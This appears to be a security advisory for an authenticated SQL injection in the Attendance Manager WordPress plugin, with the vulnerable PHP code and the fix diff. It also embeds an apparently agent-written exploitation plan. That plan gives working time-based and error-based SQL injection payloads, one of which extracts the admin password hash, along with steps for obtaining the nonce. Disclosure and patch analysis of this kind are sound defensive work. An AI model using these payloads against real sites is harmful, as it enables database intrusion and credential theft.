Attendance Manager <= 0.6.2 - Authenticated (Subscriber+) SQL Injection
Description
The Attendance Manager plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 0.6.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with subscriber-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=0.6.2What Changed in the Fix
Changes introduced in v0.6.3
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-52712 (Attendance Manager SQL Injection) ## 1. Vulnerability Summary The **Attendance Manager** plugin for WordPress (versions <= 0.6.2) is vulnerable to an **authenticated SQL injection** in the `update_by_staff` and `update_by_admin` functions within the `A…
Show full research plan
Exploitation Research Plan - CVE-2026-52712 (Attendance Manager SQL Injection)
1. Vulnerability Summary
The Attendance Manager plugin for WordPress (versions <= 0.6.2) is vulnerable to an authenticated SQL injection in the update_by_staff and update_by_admin functions within the ATTMGR_Form class.
The vulnerability exists because the plugin takes keys from user-supplied arrays ($_POST['attmgr_off']) and interpolates them directly into a DELETE SQL statement using sprintf with single quotes, but without using $wpdb->prepare() or proper escaping (esc_sql). Since the payload is injected into the key of the array, standard sanitization often applied to values is bypassed.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.phpis NOT the target here. Instead, the plugin hooks intotemplate_redirect, meaning the exploit can be triggered by aPOSTrequest to any frontend page (or specifically the Staff Scheduler page) where the plugin's action filter is active. - Action Trigger:
$_POST['action'] === 'attmgr_update_by_staff' - Vulnerable Parameter:
attmgr_off(specifically the keys of this array). - Payload Location:
$_POST['attmgr_off'][PAYLOAD] = 1 - Required Authentication: Subscriber-level access or higher.
- Preconditions:
- A valid WordPress nonce for the action
attmgr(passed in theonetimetokenfield). - The user must be logged in as a Subscriber.
- A valid WordPress nonce for the action
3. Code Flow
- Entry Point:
ATTMGR_Form::action()is hooked totemplate_redirect. - Filter Execution:
action()callsapply_filters( ATTMGR::PLUGIN_ID.'_action', $result ). - Vulnerable Callback:
ATTMGR_Form::update_by_staff($result)is registered as a filter forattmgr_action. - Nonce Check: The function verifies the nonce:
wp_verify_nonce( $_POST['onetimetoken'], 'attmgr' ). - Vulnerable Logic:
// class/class-form.php: line 65 if ( ! empty( $_POST[ATTMGR::PLUGIN_ID.'_off'] ) ) { foreach ( $_POST[ATTMGR::PLUGIN_ID.'_off'] as $date => $value ) { $del_where[] = sprintf( "'%s'", $date ); // $date is the key from $_POST } $ret = $wpdb->query( "DELETE FROM $table WHERE `staff_id`=$staff_id AND `date` IN (".implode( ',', $del_where )." )" ); } - SQL Sink:
$wpdb->query()executes the malformed string.
4. Nonce Acquisition Strategy
The nonce is required to pass the wp_verify_nonce check in update_by_staff.
- Identify Page: The plugin automatically creates a page with the slug
staff_schedulercontaining the shortcode[attmgr_staff_scheduler]. - Navigation: Use the
browser_navigatetool to go to/staff_scheduler/. - Extraction: The shortcode renders a hidden input field for the nonce.
- Variable Name:
onetimetoken - Action:
attmgr
- Variable Name:
- Actionable Command:
browser_eval("document.querySelector('input[name=\"onetimetoken\"]').value")
5. Exploitation Strategy
We will use a time-based blind SQL injection payload injected into the key of the attmgr_off array.
- Target URL:
http://localhost:8080/staff_scheduler/(or any frontend URL). - Method: POST
- Content-Type:
application/x-www-form-urlencoded - Parameters:
action:attmgr_update_by_staffonetimetoken:[EXTRACTED_NONCE]attmgr_off[2025-01-01') AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -]:1
Draft Payload Construction:
The resulting SQL query will look like:DELETE FROM wp_attmgr_schedule WHERE staff_id=X AND date IN ('2025-01-01') AND (SELECT 1 FROM (SELECT SLEEP(5))x)-- -' )
6. Test Data Setup
- Create Subscriber User:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password - Ensure Scheduler Page Exists:
wp post create --post_type=page --post_title="Staff Scheduler" --post_name=staff_scheduler --post_status=publish --post_content='[attmgr_staff_scheduler]' - Verify Plugin Tables: Ensure
wp_attmgr_scheduleexists (activated viaATTMGR_Activation::create_table).
7. Expected Results
- Normal Request: The request finishes in < 1 second.
- Exploit Request: The request hangs/delays for approximately 5 seconds due to the
SLEEP(5)command. - Success Indicator: A measurable time delay in the HTTP response.
8. Verification Steps
After the HTTP request, confirm the vulnerability by attempting to extract the database version:
- Payload:
2025-01-01') AND (SELECT 1 FROM (SELECT IF(SUBSTRING(VERSION(),1,1)='8',SLEEP(5),0))x)-- - - If the response is delayed, the first digit of the MySQL version is verified as '8'.
9. Alternative Approaches
If time-based injection is throttled, use Error-Based SQL Injection (if WP_DEBUG is enabled):
- Payload Key:
2025-01-01') AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)-- - - Expected Response: A WordPress database error message containing the admin password hash.
If staff_scheduler is not accessible, the exploit can be attempted via update_by_admin by an administrator (or a user with access to admin_scheduler), using the parameter attmgr_off[STAFF_ID][PAYLOAD].
Summary
The Attendance Manager plugin for WordPress is vulnerable to authenticated SQL injection through the manipulation of array keys in the 'attmgr_off' parameter. The functions 'update_by_staff' and 'update_by_admin' interpolate these keys directly into DELETE SQL queries using sprintf without proper escaping or preparation, allowing users with subscriber-level access or higher to execute arbitrary SQL commands and extract sensitive database information.
Vulnerable Code
// class/class-form.php:65 // OFF $del_where = array(); if ( ! empty( $_POST[ATTMGR::PLUGIN_ID.'_off'] ) ) { foreach ( $_POST[ATTMGR::PLUGIN_ID.'_off'] as $date => $value ) { $del_where[] = sprintf( "'%s'", $date ); } $ret = $wpdb->query( "DELETE FROM $table WHERE `staff_id`=$staff_id AND `date` IN (".implode( ',', $del_where )." )" ); } --- // class/class-form.php:134 // OFF if ( ! empty( $_POST[ATTMGR::PLUGIN_ID.'_off'] ) ) { foreach ( $_POST[ATTMGR::PLUGIN_ID.'_off'] as $staff_id => $data ) { $del_where = array(); foreach ( $data as $date => $value ) { $del_where[] = sprintf( "'%s'", $date ); } $ret = $wpdb->query( "DELETE FROM $table WHERE `staff_id`=$staff_id AND `date` IN (".implode( ',', $del_where )." )" ); } }
Security Fix
@@ -68,7 +68,7 @@ if ( ! empty( $_POST[ATTMGR::PLUGIN_ID.'_off'] ) ) { foreach ( $_POST[ATTMGR::PLUGIN_ID.'_off'] as $date => $value ) { - $del_where[] = sprintf( "'%s'", $date ); + $del_where[] = $wpdb->prepare( '%s', $date ); } $ret = $wpdb->query( "DELETE FROM $table WHERE `staff_id`=$staff_id AND `date` IN (".implode( ',', $del_where )." )" ); } @@ -137,7 +137,7 @@ foreach ( $data as $date => $value ) { - $del_where[] = sprintf( "'%s'", $date ); + $del_where[] = $wpdb->prepare( '%s', $date ); } $ret = $wpdb->query( "DELETE FROM $table WHERE `staff_id`=$staff_id AND `date` IN (".implode( ',', $del_where )." )" );
Exploit Outline
The exploit targets the 'template_redirect' hook by submitting a POST request to a frontend page with the 'action' parameter set to 'attmgr_update_by_staff'. An authenticated attacker (Subscriber+) must first obtain a valid 'onetimetoken' nonce, typically found on the plugin's 'Staff Scheduler' page. The payload is injected into the key of the 'attmgr_off' array. Because the plugin processes these keys using sprintf inside a loop and concatenates them into a DELETE statement without sanitization, an attacker can break out of the string literal and append malicious SQL, such as a time-based blind injection (SLEEP) or error-based extraction.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.